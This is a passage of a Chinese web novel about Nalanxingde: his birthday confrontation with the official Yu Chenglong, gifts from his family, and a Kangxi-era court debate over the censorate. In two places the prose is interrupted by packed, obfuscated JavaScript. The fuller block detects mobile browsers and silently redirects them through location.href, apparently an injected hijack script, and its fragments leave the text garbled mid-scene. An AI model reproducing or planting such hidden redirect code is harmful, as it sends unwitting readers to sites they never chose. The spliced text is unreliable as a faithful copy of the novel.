“于大人,你是想让大清的史册,在康熙皇帝亲政的关键之年,就大大记录上‘昏君’二字和‘用人不贤’四字吗?” “公子好厉害的话术!”云辞惊赞道,“这下子,于成龙想要弹劾纳兰父子的一切欲加之罪,都自然不攻自破、烟消云散了。” “是啊!”禹之鼎也有同感,“我就知道,于成龙不是容若的对手。” “听着真是解气。”曹寅道,“容若格局太大,保住皇上和大清的颜面。” “原是如此。”禹之鼎一拍脑袋,“原来这次斗争,不仅仅是纳兰父子和廉吏于成龙之间的事,更是关乎天子的威望和评价啊!” “接下来更精彩。”曹寅目光一侧,“有的看——” 于成龙哑口无言。 容若绕过一地的瓷碗碎片,来到明珠身边站着。 这对父子此时表现出来的气场,令众人都为之震慑,就别提于成龙本人了。 一阵冷风穿堂而入,容若冷而忍。 “于大人,我算是看透你了。你刚正清廉,却把这一身的名声建立在打击上级官僚和不让上级官僚好过上面,有勇无谋;你的的确确不怕死,却把扬名立万的方式建立在踩倒既定目标和报复既定目标上面,匹夫之见。” “容若读遍史书,只记下和辩解过‘佞臣亡国’之说,却从未见识过我大清当下的‘廉吏祸君’之谈,于大人,你是不是要开个头做我大清的千古罪人,把盛世明君康熙皇帝的尊严和名声扼杀在亲政之始?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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于成龙七窍生烟,“你的意思是你跟你儿子无时无刻、都能用卑劣的手段扳倒我?” “阿玛已经明示,容若已经言尽,盼着于大人以大清为重、以百姓为念,而不是为了‘清廉’二字,本末倒置,把心术用在了‘揽名声’三个字上。” 说罢,容若对顾问行行礼道:“今日之事,有劳顾总管。” * 等到于成龙彻底消失,地上的碎片和水渍都被清理干净后,生日场子恢复了常态。 明珠身侧,容若对众宾客谦虚道:“成德生日,诚谢诸位前来同聚同合,乘遇波澜,盛淆好恶,承蒙诸位在席不弃。” 侧面桌子边,云辞道:“公子连用五个‘成’字,甚妙。“ 禹之鼎道:“这些话,从容若口中说出,感觉就是跟别人不一样。“ “公子的意思,大概是想让众宾客清楚:于成龙来闹,当公事看,就是明索党争的朝堂外之斗,毕竟没有索额图的煽动和撑腰,于成龙也不敢这么狂;当日常琐事看,无赖不知天高地厚,连富家公子都敢惹,不会有好果子吃。” 禹之鼎问:“那要是当私事看呢?” “哪有什么私事?”云辞笑着给禹之鼎舀了一勺小火炉温着的海鲜汤,意味深长道,“连明珠家事都说不上。” * 夜幕时分,容若泡在温水中。 要是在夏天,浴室里会备长公子喜欢的、从渌水池里新摘的荷花,供长公子赏看。只是如今在冷冬,浴室里只摆放几个长公子寻来的石头,下人们也不知道长公子看那些石头时,心里在想什么。 “从早至今,没吃任何东西,袖云你去帮我拿一个苹果来。” “是。” “处在真正的闲暇时光当中时,公子就显得特别纯粹。” 袖云微笑地在一旁,看着在温水中吃苹果的容若。 “嗯……其实不太敢再去回想今日发生的事情,不然伤心伤神啊!让自己好好地缓松心情和卸下疲惫之后,穿上喜欢的便服,在灯下好好欣赏禹画师的画和云辞格格赠送的蓝宝石,等到时间差不多了,就去阿玛和额娘的房中收获自己盼着的、意义不一样的生日贺礼,这一天就该结束了。” “请公子的意思,渌水亭沾染了于成龙的俗气和印迹,明日可要袖云亲自去打扫?” “我与你一同。”容若和善看侍女,“渌水亭要焕然一新,朝廷的吏治也要吐故纳新。” “公子高见,经过今日之事,以于成龙为下手点,皇上必定能够在用人上大大顺自己的心意,无人会逆圣意去做第二个于成龙。” “身边有可以聊时局、聊朝中局势的侍女,我觉得自己有福气。” “袖云自以为老爷说得无错:除了插花逊色以外,任何事都是能为公子做得来和聊得来的。” “后天我跟阿玛一起去慈宁宫向太皇太后请回纳兰家的素佩,你说有些话能不能直说?” “照袖云看,太皇太后在乎的永远是皇上和大清江山。公子直说的话要是事关天下大势,她自然是喜;反之,公子要是说了凡夫俗子的请谅之言或是等闲之辈的无聊之言,她自然是不喜。只是,一些规矩上话,公子也要顾及老爷的感受、对太皇太后说出口才是。” “嗯。”容若问她,“为什么说话比写文章还累?” “词有曲调可填、诗有格律可塑,话术嘛……不都是考一个临场应变吗?” 袖云用一个玉盘接过苹果核,马上递软帕给公子擦手。 “饱了,也暖了。袖云,更衣回房。” “是公子。” “明早我想吃芙蓉酥【注1】,交待厨房先备着。还要饮红豆陈皮甜汤。这两样就够了。” “是。” 【注1】 史实:“芙蓉酥”对纳兰性德而言,是有深意的。 这个点心到底是什么?公子为什么吃这个?为什么公子的浴室:夏日备从渌水亭新摘的荷花,冬日摆放奇石?答案:见第50章。 48.第48章 容若刻意绕到渌水亭附近,抖了抖雪,亲手剪了一束地栽的水仙花。 袖云提醒道:“公子,仔细水仙花的鳞茎处也是带毒的。” “真奇怪,就想在……风雪之中抱一束花。” 这么说的时候,容若确实抱了一束浅黄色朵瓣的水仙花在怀中,且微笑着低头轻嗅。 袖云巧道:“公子方才沐浴完毕,已是活色生香,为何还要给自己添一缕香?” 容若抱着令自己欢喜之物往房间走,“想要一种安心感。” “袖云,你说我这个生日过的痛不痛?” “我耳边好像听见索党的人在骂:‘明珠,你儿子的喜怒哀乐左右圣心,这就是大罪。’我心中慌乱的很,心脏在疼,不抱着一束花不行。” 打个不太恰当的比喻,袖云觉得公子就好像是一只把胡萝卜抓紧在怀中的毛绒白兔。 ——坚强中参杂着脆弱,在他轻轻起伏的心腔之间。 ——镇定中渗透着恐惧,在他温看水仙花的眼神中。 公子只有在夜深深的黑暗处,才会露出真实的一面。 公子其实不是在等一个答案,而是借着一问,似有似无地倾诉着自己当下的心情。 公子需要的:是一个倾听者,一个能够被自己面对的、愿意认真听自己说话的人。 容若推开了房间门。 来到书桌前坐下,身披银烛柔光。 他一边赏画鉴石、一边跟袖云说话,一束水仙花却一直未离身。 * 另一边,明珠夫妇房中。 明珠问管家:“宾客都散了吗?” 管家答:“回老爷,已经全部离开了。公子所得的生辰贺礼,也已经造册记录完毕,等待公子的意思处理。” “这些都罢了!”觉罗氏倒是真的关心容若,“公子从早至今未吃任何东西,他自己怎么说?” “回夫人,公子吃了一个苹果,且交代了明日的早膳安排。” “老爷。”觉罗氏看向明珠,“我看还是吩咐厨房做些夜宵的好,一会容若过来,你好歹劝容若吃点。” “本官知道,夫人爱子心切。”明珠用眼神示意管家,按夫人的意思去办,“但是容若吃不下饭菜的原因不是明摆着吗?” 明珠指向自己的心脏,“他心里积郁着一口气,本官也一样。” 觉罗氏给明珠递了一杯茶,“如何处置于成龙,到底是皇上给拿主意,你们父子何苦这般不顺心。” 明珠谨慎道:“这可不是件小事!八成于成龙敢来我明府生事,就是索额图教唆的。皇上现在在亲政的兴头上,天不怕地不怕,极易拿错主意啊!” 比起寻常妻子会问的:“那可怎么好?” 觉罗氏道:“大清不能错啊,老爷你和容若有没有办法替皇上想出个万全的处理办法来?” “这自然是有。”但是明珠很快摇头,“有也不能说,太皇太后忌讳。” “纳兰父子帮着皇上,老祖宗也忌讳吗?” “这个天下的掌舵人,是太皇太后的孙子爱新觉罗·玄烨。”明珠甩袖一叹,“纳兰父子,万千臣民,统统都是奴才。” 嬷嬷来回话:“老爷,夫人,两位小公子已经睡下了。” 觉罗氏点了头,又问:“长公子那边呢?” 嬷嬷道:“奴才经过长公子房间时,只闻见了一袭水仙花香味,不解其意。” 明珠摆了摆手:“你先下去吧。” * 容若的水仙花花束被放在了书桌上,用了一张米色稿纸包着底部,以让它们不散。 “放外头冷,泡瓶里孤,我不忍。” 因此,暂搁在我的书桌上共墨香、共玉味、共精神正好。 走向明珠夫妇的房间的途中,容若对袖云道: “阿玛不容易,一直站在皇上的立场上为皇上办事,既要看清皇上的心思、又要明确皇上的得失,还要帮着被索党排挤、陷害、诬陷的明党之人力挽狂澜。这些,多苦多难。” “我都知道,我心里深深地知道。阿玛信任的人只有我,全心全意为阿玛的人也只有我,我纳兰性德不能成为明珠的仕途的累赘,所以我要体会、体谅阿玛。我发誓,只要我活着一天,就不会让明珠和明党变成天子的清算对象。” “袖云,我去的不晚吧?” “不晚,袖云觉得时间正好。老爷和夫人定是在等着公子。” “纳兰容若好好的,生日好好的,只当什么都没有发生过。如此收尾,就是大好事。人生未到二十载,阿玛和额娘送我的生辰贺礼,我都一件一件地珍惜着、保存着,自付温度、自添回忆、自得圆满。” “公子便是这般执着,只留下老爷和夫人送的生辰贺礼,旁的客人相贺的‘心意’,都是默默谢过之后、用‘楞伽山人’的名号来经世济民的。” “佛说楞伽好,早已悟他生。”公子慈悲而温和,“愿我来世,得无上智慧、如海无涯、自由自在。” * “儿给阿玛、额娘请安。” “快起来。”明珠道,“容若,吃点东西,阿玛和额娘与你一同吃。” 袖云仔细给老爷和夫人添了夜宵后,才为公子盛了一碗安神的莲子百合银耳甜汤。过后,她便下去了,因为她知道,接下来是属于明珠一家人的独聚时光。 “儿啊,明日早朝,阿玛想着带你一起去。” “是,儿跟阿玛一起面对天子、索党、廉吏。” “我也不想多提什么,你我父子烦心到这个地步,也该是有个停歇了。你的生日,阿玛自是知道你心中还带着痛,只怕是今夜的坤宁宫,皇后也要受皇上的气,皇上可怜啊,数来数去,除了向皇后发泄不满,他还能找谁?” “儿专心吃夜宵。” “老爷,不说这些事了。”觉罗氏体谅容若的心情,“好好陪儿子吃饭。” “昔日太白说:暝色入高楼,楼上有人愁,儿今晚给接了两句:人在玉楼中,楼高四面风。【注1】” “容若,阿玛和额娘不是不让你读李白的诗吗?算命术士之谶言:江城五月落梅花,人生三十终抱憾。不得不防啊!即便今日是你生日,额娘也要这般提醒你。” “他接的那句是说:高处不胜寒。”明珠吃着虾仁小面,“从唐朝至今几百年,太白的那句诗,也就只有咱们儿子敢接且接的好!此句必成千古名句。” “儿太清醒了,所以才有这番感悟。”容若饮罢碗中甜汤,“实质是:人在朝堂中,冷箭未可封。罢了。” “还没资格站入朝堂的时候,我就想:做个人上人多好;等到进入了朝堂且站在离天子最近处的时候,我就想:这站着怎么提心吊胆?这殿内这么这么冷?而当我有机会或者说特权把我的儿子也带入朝堂的时候,我就想:老天爷对我明珠不薄,真是不薄啊!” 容若微笑地看明珠,微微露出了手腕中的极细小凤眼菩提子手串。 ——何谓孝?为父分忧?不是。 ——让父有所得、有所悟,同时也让己心境开明、澄澈,才可谓孝。 “如今,我是真真切切地得了解,就是容若说的:楼高四面风,春来也不觉啊!朝堂和明府,皆如此。” “老爷,本该你开导儿子,怎么反过来被儿子开导了?” “我的容若,一生疼惜的容若。” 明珠感到又欣慰又叹喜。 要是用一句话评价自己的长子,那就是:容若,难得且不可多得。 * 吃罢夜宵。 明珠吩咐下人把夫妇二人给儿子准备的生日贺礼拿过来。 觉罗氏把一个黑色的、上面嵌金装饰的经文匣放在桌面上,又慢慢挪到容若手侧,慈爱道:“额娘亲手抄写了经书,期间亦是为容若诵读多次,现就将它当作生日贺礼相送,可觉得欢喜?” 容若最是悟得佛理,日常访遍名刹、自己研习和注释佛经,境界超凡。 妙觉禅师亦道:“公子是具有慧根之人,不求亦多得,切勿惜己爱人过甚,否则天命难回。” 那个时候,容若只是盘着手中菩提子,应道:“多谢大师开示,我会。” ——会什么呢? ——会记下、会改变,还是? 他并未直说。 “多谢额娘,儿喜欢且欢喜。”容若一脸欣喜,“抄经诵经之人,都是有福之人,儿与额娘共福报。” 觉罗氏拉着儿子的手道:“额娘知道你是个懂事的孩子,就盼着你平安顺遂。日常多添些菩提子、经书、愿带加持,心安之处就是福啊!” “儿也是这么想。”容若先一步答应觉罗氏道,“儿得空,多陪额娘去寺中礼佛、坐禅。” “好。”觉罗氏笑道,“与你一同,额娘别是愿意在寺中多留。” “那阿玛一个人在家中岂不寂寞?” “你阿玛只想在朝中当个第二大忙人。”觉罗氏对明珠一讽,“哪里来得时间寂寞?” 明珠不好意思笑,“夫人这话将我置于何地?来日,我与你们母子同去寺中就是。” 明珠笑问:“容若你先猜,阿玛把你给的‘九天玄鸟羽毛’变成了什么样?” “儿猜不到。”容若倒是不应了,“只想来个开盒之喜。” “那你要是看羽毛原封不动,岂不是会失望?” “阿玛舍不得看到儿失望的眼神吧?” “好好好,阿玛拿你没办法,你打开看——” 容若打开手中华美的锦盒,看见了一卷轴。 优雅起身,双手展开,瞬间大喜。 画中,意境可得一细品: 风轻雪微,回廊曲折,书阁静谧,云流帐舒。 筝锁清音,人有佳话,仙鸟报喜,美玉生辉。 再一细看: 这幅看上去浑然一体的画作,却是有三种运笔的基调:雄浑厚重、刚劲有力、轻姿惊龙。果然,在落款处,有明珠、揆叙、揆方的印章。 ——这份生日贺礼,是阿玛和两位弟弟一起为我准备的。 ——天衣无缝,堪称完美。画中无我,我在画中,挚语更胜翅羽,佳音更胜清音。 容若越发地喜不自胜,不住地用掌心抚摸画轴。 画中,另有明珠所作所题的《菩萨蛮》一首: 小立雕栏雪微恙,慢回渌水轻调放。恻倚藏书阁,倦云与幔帐。 锦筝罢翠羽,弦外天下语。相邀报君恩,玄鸟须抱玉。 【注2】 容若怀着激动的心绪,谢过明珠:“真好!有阿玛、揆叙、揆方的一笔一墨、千情千景。真好啊,容若万分感慨!” 明珠笑道,父子之间哪分什么谢与不谢? “阿玛从你手里拿过羽毛的时候,就决定要给你一个大惊喜。你什么都不缺,所以阿玛决定送你一份到心坎里面去的礼物,就是这幅包含着纳兰家真情的画轴。” “来,容若。”明珠起身来到儿子旁侧,一同看画,“你来添上几笔,让这幅画变得更完整、独一无二。” “袖云,快去拿笔墨、还有我的印章呀——” “是,公子。” 袖云才出去,门外就传来了两声欢快的请安声:“儿等给阿玛和额娘请安。请容若哥哥安好。” 觉罗氏一见进来的是二公子和三公子,惊讶问:“你俩不是先睡了吗?” 揆叙和揆方同时道:“长兄生日,我们要跟长兄一起。” 容若对两位弟弟的“忽然出现”自然是高兴无比,这样才是完整的一家人嘛。 小揆方问:“容若哥哥的生日贺礼类目,为什么要造册整理?不怕留下把柄吗?” “阅后即焚。”容若温和道,“揆方你要记得,送礼之人数之不尽,礼之来源也探之不清,记录类目只为不忽略送礼人的心,不管是用心或是居心,这点都不能忽略。要学会记下送礼者有谁,人一直都处在自己无所知的关系网,利弊相伴相生,进退既难又易,舍得半悟还明。至于所收之礼受用或是不受用,主动权就在自己,自己如何处置都无妨。” 小揆叙问:“容若哥哥不去放贺礼的房间看看吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598487|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “只怕一年看了,年年都会看。”容若的目光落在卷轴和经文匣上,“还不如守旧唯一,只存亲人之心意最佳。” “容若哥哥还记得自己在除夕的时候许过愿,想要:清茶伴菩提。”小揆叙拿出一张笺纸,“我跟揆方翻阅卷籍,整理出了不少茶方,给容若哥哥当生日贺礼可好?” “真的?”容若惊讶,“那太好了!” “容若哥哥调香制香一绝,想必改良改善茶方也是可比茶圣陆羽。” “愿携羽清饮,得当下极妙;愿解今世名声,得来世菩提。” 容若双手接过茶方笺纸,卷在九天玄鸟羽毛的握柄上,珍藏在袖中。 然后,他提笔蘸了墨水,在画轴上绘下:一望烟波。 “好是万几清暇日,不须惆怅忆江湖。” 小揆叙不解,指着长兄的题字问:“日理万机的‘万机’,容若哥哥可是写了错字?” “是通用的。”容若心中,对画中的佳境有所向往,“真希望能从日理万机的君王身边偶得空闲,真希望没有门客和朋党……阿玛,您说是吗?” 明珠看着儿子别有深意的“着笔”,笑道:“此刻,便是。” ——那以后呢? 容若亦笑。 这个问题,不该问,不能问。 纳兰一家子一起围桌坐下。 此中的氛围,是容若真真切切地盼着的、小心翼翼地珍惜着的,这在外人眼中的“寻常”,对他而言却是“不寻常”。 嘴角弯起的弧度中、温眸中、感动中,容若问自己: 新年是重要的日子,生日也是重要的日子,二者挨的很近。 那么接下来呢?下一次这样的日子是什么时候,有谁可以给我一个答案吗? * 容若回到房间。 第一件事就是去看自己的水仙花花束。 “袖云帮公子整理和校对词作,数着公子写荷花最多,写梨花居次有十二首,而写水仙花是两首。” 容若带着温润的笑容,“都是花,烛花算吗?” “算。”袖云为容若宽衣,“公子写烛花的词作有三首。” 容若抱花到长榻,“那你定是记得。” 袖云伴在旁侧,“第一首,风也萧萧,雨也潇潇,瘦尽灯花又一宵;第二首,离人偏识长更苦,夜寒惊被薄,泪与灯花落;第三首,回首西风,数盏残钟,一穗灯花似梦中。”【注3】 容若问她:“你觉得哪首写的好?” “袖云喜欢第三句。因为‘穗’字带着温度,仿佛公子的温言还在耳边。” “我也觉得第三首写的最好,西风残钟,梦中花一穗。” 容若说着,拨了拨水仙花花瓣,落下一眸清光。 过了会儿,容若道: “我不躺床上了,直接睡在靠窗的长榻上。把窗户打开一点点小缝,有风透入就不怕水仙花香浓侵体、会毒着害着什么的。” “让我抱着一束水仙花睡……离不开,离不开花啊,那种感受,难言的感受,袖云。” 整夜留细缝开窗? 袖云自然是舍不得公子这般苦自己。 所以公子侧躺睡下后,她便关上了窗户,只取一把小扇来,在水仙花香浓时,轻柔摇扇。 水仙花绝非疗伤之花。 公子会这么做,原因只有一个: 所有的生日贺礼,不似花束冰清玉洁。 露水狠碎盏锋利,他好怕弄脏了自己。 公子是个干净到让人心疼的人,纯粹的时候那么纯粹,孤独的时候那么孤独。可是,公子会笑,笑起来很好看。 公子沐浴良久,洗净了一身的无尘之尘,用意大抵也在于此。 * 次日下午,曹寅前来明府。 容若以为是玄烨叫曹寅来的,结果不是。 但是话说回来,玄烨没有“一点风声”和“一点举动”传来明府,容若反而不安。 曹寅匆匆跑上前去:“容若,你在干什么?” 容若见曹寅的模样,瞬间生了怪,便停下手中动作,问他:“我在打扫渌水亭,怎么了?” 曹寅神情差异,“你那副留在‘庄周梦蝶’字画店的上联,被索额图的次子格尔芬给对了下联。” 容若波澜不惊,甚至不问格尔芬所对的下联的具体内容,只道:“他要是对的出彩,那就是我欠他一幅字画。” 曹寅拉容若到石凳上坐下,不可思议地问:“你为什么这么平静?” “原本我对周老板说,上联挂到我生日当天为止。后来,我又跟他说:这个上联一直挂着吧!” 曹寅觉得容若是强作乐观,就问他:“为什么?” “我自找惆怅,问自己:纳兰性德,你这一生,不会是在未尽之前都得不到一个满意的佳对下联吧?” 悲情上头,容若不由得垂下脑袋,神色小伤。 “容若,你到底怎么了?” “没事。” “怎么会没事?” 为什么对下联的,不是沈宛? ——宛卿你是江南才女,为什么不…… 【注1】纳兰性德《菩萨蛮.春云吹散湘帘雨》 【注2】 释义: 1、背景:康熙皇帝擒拿鳌拜后,直接上太和殿直面群臣,明珠和索额图紧跟君后同行。 2、上半阙:容若站在皇宫的雕栏玉砌后面,眺望意气风发步入朝堂的康熙皇帝和在天子身后的父亲明珠,没人发觉他的身影,就跟他自己也未发觉身上已经攒雪微恙了一样。回家以后,容若在渌水亭调养身体和放松心情,偶歇在家中的藏书阁穴砚斋窗侧,云卷云舒,风动帘幔,亦是一人一景。 3、下半阙:明珠知道容若厌琴爱筝,筝以仙鸟羽毛装饰为贵,可相比之下,明珠更爱跟容若一起聊国家大事,字句之间的珠玑,胜过一切丝竹音。明珠盼着父子共同为国效力,九天玄鸟的羽毛能够护的如玉般清润的容若的周全。 【注3】纳兰性德作品《采桑子》《菩萨蛮》《采桑子》 49.第49章 翌日,朝堂之上。 索额图见明珠父子同来,指着纳兰性德气问:“你来干什么?” 纳兰清然应道:“我本就有资格来。” 索额图大喊大叫起来: “明珠,你如今是炫耀儿子炫耀到文武百官面前来了?照这么下去,纳兰性德就不是天子的陪臣,而是当朝重臣了!眼观几位先帝爷的朝堂,几时有过这样的大胆事?” “打康熙朝起,就有了。” 明珠应的波澜不惊,却让周围的大臣们都听清了。 明珠复往前走了几步,转身对大臣们骨气铮铮道: “本官不管站在这里的是索党的人,明党的人,又或是自成一派的人,你们都是康熙皇帝的臣子,都是大清朝的子民,谁还敢像索额图那般:煽动廉吏于成龙来我明府搞事情,下场就跟接下来天子秉公处理的一样!” 索额图顿时是又惊又气又牙痒痒,指着明珠大骂: “明珠,你可算是说出心里话了。你不满的不是于成龙一人,而是这个大清朝的‘廉吏弹劾体制’吧?” 纳兰冷静而清晰道:“这项制度从大清入关以来推行至今,本就该改了。” “你是什么东西?”李光地站在索党那边,“现在皇上改的制度还不够多吗?你过生日受了委屈,就敢登上朝堂来喊改制?你怕不是疯魔了吧!” “我是康熙皇帝的侧臣。”纳兰亮节道,“最好的息事宁人的方法,是墨守成规——继续守着大清的列祖列宗定下的规矩。但是这个国家不改革不行、皇上不推行新政不行!” “你这东西没资格说怎么改!”李光地摆出让纳兰住口的姿态,“台面上有台面上的框架和廉吏运作秩序,人情上有人情上的适宽条律和相应章程,客观上有客观上的事故之举和心态之作。” “李大人,你应改口叫我纳兰!李大人你那三条自欺欺君的话,只会叫更多廉吏有机可乘、急功近利,大坏我大清的朝纲。” 听到这里,索额图一下子跳了出来,大声斥问: “纳兰明珠、纳兰性德,好呀你们父子,是公然叫嚣党争存在的必然性和合理性吗?打压完廉吏,你们想干什么?要不要把御史制度也废了呀?” “陈廷敬陈大人,平日里你不是最能说话的吗?”索额图问,“今儿怎么不说了?是不是要等皇上来了以后,当着皇上的面来分析利弊啊?你是打算得罪本官啊,还是得罪明珠父子啊?” 陈廷敬擦了把冷汗,“下官……实在是无话可说。” 索额图警告道:“不论于成龙这次被贬谪到哪里,仔细下回明珠父子就清算到你头上!” 陈廷敬手足无措,只得硬着头皮道:“索大人,明珠大人,纳兰公子,下官今日什么话都没有、什么话都不打算说。” “皇上来了以后,你有什么要说的想说的都照说。”明珠冷道,“不然朝廷的俸禄,是白养活你这个铁面御史了?” 哪边都得罪不起,陈廷敬只得折中道:“纳兰公子,你这一来,下官等真的是不好办事啊!” “知道我为什么来朝堂吗?要不是我自己愿意,谁叫我来我也不来。” 纳兰清雅道: “于成龙搅的是我的生日场子吗?不是,他搅的是大清的官僚体制。诸位大人以为我不敢为自己要个说法、不敢为朝廷党争要个说法,那就错了。廉吏制度的存在,原本是为了广开言论、让人人廉洁奉公,如今却变成了廉吏们打着‘法理’和‘惩恶’的旗号四处显摆威风,这么下去迟早人人自危,无心为社稷为江山献策,远胜党争之痛。” “于成龙败坏的是我明府的颜面吗?不是,他败坏的是皇上存在于史册上的颜面。不惩不改廉吏制度,是要保全谁?是要卖给谁人情?史官还是天下百姓的嘴?诸位大人以为我只能把气往自己肚子吞,以为我阿玛碍于党争的客观事实不敢说话,那也错了。” “诸位大人的心思,是想着皇上对于成龙小惩大诫,这事就算完了,实际上,廉吏制度不改、就这么不了了之才是最大的祸国殃民。以于成龙这一个特例的单惩,保住了众多蠢蠢欲动而未动、不自量力而摩拳擦掌的言官、御史、督查的人头,是皆大欢喜吗?诸位大人还知道什么是国法吗?还故意对廉吏之害视而不见,以为真的可以看一场明珠父子笑话?” “着实是不敢啊!”陈廷敬代表身后的一群御史势力道,“但也正因是如此,我等御史、言官、督查才后怕。” “陈大人,你可别糊涂。”索额图再次提醒,“一会儿皇上来了以后,你得发挥老本事进言,让皇上认定了:于成龙罪无可恕、廉吏制度非改不可才行。” 索额图拍了拍陈廷敬的肩膀,“本官和明珠大人,可都等着你这个有分量的铁面御史好好发挥呢。” 陈廷敬扫开了索额图的手,同时也把眉头皱的跟拧绳似的、把头摇的跟拨浪鼓似的。 索额图冷笑着走到纳兰面前: “至于贵公子,怕是说了这么一大通话也累了,该先一步回养心殿侧阁去歇着了。” “皇上接下来会干什么,贵公子心里没数吗?若是有,又何必再多站着朝堂的位置?皇上可是忌讳自己的心思和行动被人看透的。” “同祖宗规矩和圣上新政相比,纳兰性德露个脸算什么?”纳兰风轻云淡地问,“纳兰性德要是分不清该走还是该留,有资格步入朝堂吗?索大人你觉得呢?” “贵公子自便就是。” 说罢,索额图一甩袖,冲文武百官一吼: “你们都各归各列站好了、站直了!万岁爷要说什么话,都好好竖起耳朵来听……贵公子的脸和身姿,都好好琢磨着来看。” 朝堂的氛围一下子缓解了下来。 许多提心吊胆的大臣们,就暗暗松了一口气。 明珠在心里想笑,但是笑不出来: 什么叫做“听玄烨的话,看容若的脸”? 索额图这是损人呢?还是为了打破僵局而打破僵局? * 玄烨坐上宝座之后,纳兰跟着文武百官一同进行了跪拜礼。 但是纳兰在抬头的那一瞬间,竟然看见了玄烨戴在左手上的—— 原本应该是当作生日贺礼送给自己的:十四瓣金刚菩提子手串。 不知道怎么着就心慌了,纳兰想到: 皇上打算独占了?还是会再送出手?到底自己还是对名贵的稀罕的,啊不,对皇上亲手穿的菩提子没有抵抗力的呀! 陈廷敬小声问李光地:“李大人,纳兰公子这表情是在惊讶什么呢?” 李光地谨慎道:“我要是知道,我就投靠明党去了我。” 玄烨对众臣子道:“短短两天,朕收到了八十份奏折,里面有指责纳兰父子的,也有指责于成龙的,朕还寻思着如何秉公处理的好,你们倒是吵起来了,先给了朕答案。” 被明索两党推到了悬崖边上的陈廷敬站出来道:“臣斗胆进言,于成龙虽罪不致死但也需要严惩,廉吏制度虽推行多年但也需要改革。” “如果陈大人也这样认为的话,那朕就把自己的意思直说了:于成龙,贬任广西罗城,没有朕的旨意,永不得重返京师效力。廉吏制度,照着——” 玄烨本是想说“照着纳兰父子的意思来办”,但是及时改了口: “照着朕的想法,应该即时就改。” “正所谓是君子不党,明珠和索额图是朕的左右臂膀,自然有唇枪舌剑和意见相左的时候,要是因此就分了楚河汉界,非要往党争上面去说,那就是至朕于不懂机辨之地。朕的眼前,只是分了明珠阵营和索额图阵营,这两派要想做到人人满意,谈何容易?” “所以双方阵营互争互斗,勾心斗角,使得于成龙因‘明珠举荐靳辅为治水重臣’之事而一错再错,朕也不会大动干戈要为哪一方撑腰,朕,一切以大清为重,按照最有利于大清的方向来办。“ “皇上圣明。“陈廷敬拱手道。 玄烨看见纳兰点了一下头,仿佛听见他说:“皇上确实圣明。“ 于是,少年天子道;“百官同心,才能成就帝王之德。本次以于成龙之事为鉴,众臣工须谨记:见微知著是好,但是不能过甚,不要想着用一把小刀就能扳倒大象。敢为人先是好,但是不能急功近利,不要为了自己的成绩和虚名而折损本不该折损之人,你们身后,是千千万万的老百姓和朕的天下!“ 文武百官齐声道:“臣等谨记皇上之言。” “廉吏贪名而妄行,比无所作为更可恶!” “众臣工都引以为戒吧。” 玄烨说完,又问诸位大臣还有没有别的事情要奏,结果并无人站出。 于是,玄烨就让司礼大太监宣布了退朝。 * 殿后侧阁内。 换了朝服,重新穿上一套舒适款的龙袍,玄烨问:“顾总管,纳兰往养心殿去了吗?” 顾问行赔笑道:“回万岁爷,纳兰公子没去。” 玄烨生气:“他不知道自己的差事,就是在朕需要他的地方侯着听君命吗?” “万岁爷,奴才可是劝过您的,别拿纳兰公子喜欢的东西出来显摆,免得他心心念念又不敢说。干脆,就回避您了。” 玄烨一扬脑袋:“朕就是要夺他所爱、又要炫耀他所爱,如何?” 顾问行嘴快道:“那个……只要不是女子就好。” “你说什么?”玄烨冷眼一扫那总管大太监,“朕是这么小心眼的人吗?” “奴才失言。” 顾问行跟在玄烨身后,往养心殿方向走。 路上,顾总管问皇帝:“请万岁爷的意思,如今这十四瓣的金刚菩提子手串您戴着,回头奴才是将这生日贺礼送去明府呢?还是不送呢?” “当然要送,不过不是你送,而是朕亲自给。” “是。” “朕问你,纳兰把朕的龙佩还回来了吗?” 顾总管轻打了自己一嘴巴,道:“奴才忘记回万岁爷了,您的龙佩,今早纳兰公子已经交给奴才代为保管了。奴才这就拿回给万岁爷。” 玄烨止步,叫顾总管给自己系上龙佩,又问他:“纳兰对龙佩动了什么手脚没有?” “纳兰公子哪敢啊?”顾问行惊讶道,“这不是万岁爷您的东西吗?臣子要是乱动乱改,那就是对您的大不敬。” “那就好,不然朕要罚他!” “万岁爷您说的哪儿的话?罚纳兰公子做什么?” “朕罚自己的陪臣还要给你说理由吗?” “奴才不敢。” * 纳兰父子一起去慈宁宫见了孝庄太皇太后,自然是为了拿回素佩的事情。 “奴才明珠给老祖宗请安!”明珠对孝庄行了跪拜之礼,“让老祖宗操心容若,实在是奴才对容若管教不周。” 孝庄道:“罢了,这里没有别的外人,不必跪着,你们父子起来吧。” 苏麻喇姑扶起容若,道:“太皇太后听皇上说,纳兰公子近来越发爱吃:香酥炸核桃,便是叫小厨房备上了这款糕点,让纳兰公子带回府上去品尝。” “奴才替容若谢老祖宗,谢皇上。” 明珠一应完,转念一想: 不对呀,我儿爱吃的是香酥炸板栗,上回我儿在渌水亭还亲手整了一盘给我吃来着,怎么到了皇上嘴里,板栗就变成核桃了? “孩子,”孝庄这般叫容若,“你阿玛举荐靳辅治水,这事靳辅一路干下去,成不成老祖宗也一路盯着看着。就说当下吧,你觉得咱们皇上应该有些什么举措?” 容若有所警觉:“臣不知道,知道也不能说。” 孝庄问:“你怕被怪罪?” “不是,侧臣不该左右皇上拿主意,容若记在心里。” “那你就更该当着我的面说,让我先替皇上参考参考。” 容若想到:太皇太后试探我便罢,若是她真的有心叫皇上提防我,那我说不说有什么区别?皇上亲政前我是个陪臣,亲政后我成了个谋臣,不能怪太皇太后时时刻刻想知道我在想什么。 “当下情形,廉吏不可缺,但指望廉吏肃贪却不一定指望得上,所以这个制度要改。” 